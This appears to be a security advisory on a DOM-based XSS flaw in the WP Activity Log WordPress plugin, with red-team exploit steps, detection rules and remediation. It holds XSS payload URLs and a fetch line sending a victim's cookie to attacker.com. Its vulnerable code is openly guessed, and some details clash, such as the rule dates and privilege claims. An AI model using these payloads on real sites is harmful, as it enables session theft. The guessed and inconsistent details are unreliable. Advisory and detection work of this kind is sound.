CVE-2026-45435

Executive Summary

CVE-2026-45435 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Activity Log (versions up to and including 5.6.3). This flaw allows an attacker to inject malicious scripts into the web page's Document Object Model (DOM) via improper neutralization of user-supplied input. The vulnerability is triggered client-side, meaning the server does not reflect the payload; instead, the attack exploits JavaScript execution within the victim's browser. Given the plugin's widespread use for monitoring user activity on WordPress sites, this vulnerability poses a significant risk to site integrity and user privacy. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the potential for partial confidentiality, integrity, and availability impact.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. As a supply chain risk, any site running WP Activity Log version 5.6.3 or earlier is vulnerable. Since no patch is available, administrators must consider removing or disabling the plugin until a fix is released. The plugin's update mechanism does not automatically mitigate this issue.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the plugin's popularity.

Deep Dive & Mechanics

The vulnerability resides in the client-side JavaScript code of WP Activity Log. The plugin fails to sanitize user-controlled input that is processed by the DOM, allowing an attacker to inject arbitrary JavaScript. For example, a crafted URL parameter or stored data (e.g., a user's display name) can be rendered unsafely by the plugin's frontend scripts. When a victim visits a page containing the vulnerable component, the malicious script executes in their browser context.

Root Cause: The plugin uses innerHTML or similar DOM manipulation methods without proper encoding of user input. This allows an attacker to break out of the intended context and inject script tags or event handlers.

Attack Vector: An attacker can craft a malicious link (e.g., https://victim-site.com/wp-admin/admin.php?page=activity-log&filter=<script>alert(1)</script>) and trick a logged-in administrator into clicking it. Alternatively, if the plugin stores user input (e.g., via comments or user profiles), the XSS can be stored and triggered when other users view the activity log.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:

// Vulnerable code (v5.6.3)
function renderActivityItem(item) {
    var container = document.getElementById('activity-log');
    container.innerHTML = '<div>' + item.userInput + '</div>';
}

A patched version would use safe DOM methods:

// Patched code (hypothetical)
function renderActivityItem(item) {
    var container = document.getElementById('activity-log');
    var div = document.createElement('div');
    div.textContent = item.userInput;
    container.appendChild(div);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with WP Activity Log <= 5.6.3 installed and activated.
• A victim user with administrative privileges (or any user who can view the activity log).

Exploit Steps:

1. Craft the payload: Create a malicious URL that includes a JavaScript payload in a parameter processed by the plugin.

   https://victim-site.com/wp-admin/admin.php?page=activity-log&filter=<img src=x onerror=alert(document.cookie)>
   

2. Deliver the payload: Send the link to the victim via email, social engineering, or a compromised site.

3. Trigger the XSS: When the victim clicks the link and the page loads, the script executes in their browser, stealing cookies, session tokens, or performing actions on their behalf.

Advanced Payload (Steal Admin Credentials):

// payload.js
fetch('https://attacker.com/steal?cookie=' + document.cookie);

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script, onerror, onload, or other XSS indicators in the filter parameter.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Prevention:

• Disable or remove the WP Activity Log plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users about phishing links and the risks of clicking untrusted URLs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Requests to /wp-admin/admin.php?page=activity-log&filter= containing HTML/JavaScript payloads.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com) from the WordPress server.

• Host IOCs:

  • Unexpected JavaScript files in the browser's cache or local storage.
  • Modified browser settings or injected bookmarks.

• File IOCs:

  • Plugin files in /wp-content/plugins/wp-activity-log/ with version 5.6.3 or earlier.

Detection Engineering

YARA Rule

rule CVE_2026_45435_WP_Activity_Log_XSS {
    meta:
        description = "Detects DOM-based XSS in WP Activity Log plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-45435"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin_path = "wp-activity-log"
    condition:
        any of ($xss*) and $plugin_path
}

Sigma Rule

title: CVE-2026-45435 - DOM XSS in WP Activity Log
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit DOM-based XSS in WP Activity Log plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'page=activity-log'
            - 'filter='
        cs-uri-query|re: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in filter parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-45435 - WP Activity Log DOM XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=activity-log"; http_uri; content:"filter="; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and remove WP Activity Log from all WordPress installations until a patch is released.
2. Apply virtual patching: Use a WAF to block requests containing XSS patterns in the filter parameter.
3. Review user activity: Check for any signs of exploitation in server logs and user sessions.

Long-Term Fix:

• Monitor the Melapress website and WordPress Plugin Directory for an official update.
• Once a patched version (e.g., 5.6.4 or higher) is released, update immediately.
• Implement a Content Security Policy (CSP) to mitigate XSS risks across the site.

Workaround:

• If the plugin cannot be disabled, restrict access to the activity log page to trusted IP addresses only.

Valters IT